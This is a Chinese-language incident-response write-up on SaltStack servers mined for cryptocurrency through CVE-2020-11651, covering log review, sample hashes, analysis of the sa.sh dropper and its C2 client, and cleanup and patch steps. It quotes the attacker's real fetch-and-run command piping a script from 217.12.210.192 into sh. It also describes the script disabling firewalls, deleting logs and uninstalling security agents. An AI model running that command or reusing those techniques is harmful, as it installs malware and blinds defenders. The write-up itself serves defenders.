SaltStack漏洞致使的挖礦排查思路

描述

SaltStack是一套C/S架構的運維工具,服務端口默認爲4505/4506,兩個端口若是對外網開放危害很是大,黑客利用SaltStack的遠程命令執行漏洞CVE-2020-11651能夠直接繞過Salt-Master的認證機制,調用相關函數向Salt-Minion下發指令執行系統命令,最終致使挖礦。docker

現象

受害Salt-Minion機器上存在挖礦進程salt-minions安全

tmp目錄下存在可疑二進制文件:bash

  • salt-store
  • salt-minions

排查

  1. 肯定全部salt-master機器列表;
  2. 查看當天salt-master的日誌文件/var/log/salt/minion,是否存在可疑命令執行,篩選cmdmod
  3. 找到可疑的命令執行內容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
  1. 確認SaltStack版本,是否存在漏洞CVE-2020-11651

樣本分析

共三個樣本:服務器

文件名 MD5
sa.sh 204780df7dd946401d6e545a130689fb
salt-store 8ec3385e20d6d9a88bc95831783beaeb
salt-minions a28ded80d7ab5c69d6ccde4602eef861

sa.sh

這是黑客原始下載執行的腳本文件,salt-store從這裏下載下載的。架構

該腳本執行後首先進行一些系統設置:關閉防火牆、設置ulimit、關閉防火牆、關閉watchdog告警,而且將系統syslog日誌刪除:運維

而後檢測服務器上是否安裝安騎士和雲鏡服務,有則將進程中止並下載對應的卸載腳本進行卸載操做:curl

以後經過netstat篩選服務器開啓的端口和鏈接,將對應進程所有中止:函數

而後經過pspkillpgrepkillall篩選進程名和參數,將其對應的進程殺掉,而且還會清理cpu資源佔用超過10%的進程,保證有更多的硬件資源能夠利用:工具


以後會清理/tmp/etc/下其餘挖礦進程的二進制文件:url

該腳本還會清理docker運行的挖礦程序:

腳本最後會從遠程下載惡意二進制文件salt-store到/tmp/var/tmp下:

download2函數中會從bitbucket下載惡意二進制文件,若是失敗會調用download3函數從217.12.210.192下載:

下載以後,將包含如下字段的計劃任務刪除,這一步能夠將其餘挖礦和一些HIDS服務的守護任務刪掉:

salt-store

該文件是C2客戶端,從控制端接收指令執行。

運行後該程序會釋放礦機文件salt-minions/tmp/下:

salt-store運行期間會和如下url進行http交互:

對該文件靜態分析後,發現該程序具備以下功能,包括運行礦機、執行遠端指令、端口掃描等:

從樣本分析結果看,能夠斷定這是一個命令控制系統(C2)的客戶端,程序運行以後主機會在遠端上線,黑客能夠登陸遠端給客戶機下發指令啓動挖礦程序。

salt-minions

salt-store運行時釋放。

該文件有明顯的xmrig特徵:

因此該文件是一個xmrig的礦機。

清理恢復

清理步驟

  1. 中止惡意進程:kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
  2. 刪除惡意文件:rm -rf /tmp/salt-* /var/tmp/salt-*

整改恢復

  1. 升級SaltStack到最新版本,修補CVE-2020-11651漏洞,升級前建議作好快照備份措施,安全版本下載地址參考:https://repo.saltstack.com
  2. 設置SaltStack爲自動更新,及時獲取相應補丁;
  3. Salt Master默認監聽端口(默認45054506)設置爲禁止對公網開放,或僅對可信對象開放,避免被黑客利用;

相關連接

相關文章
相關標籤/搜索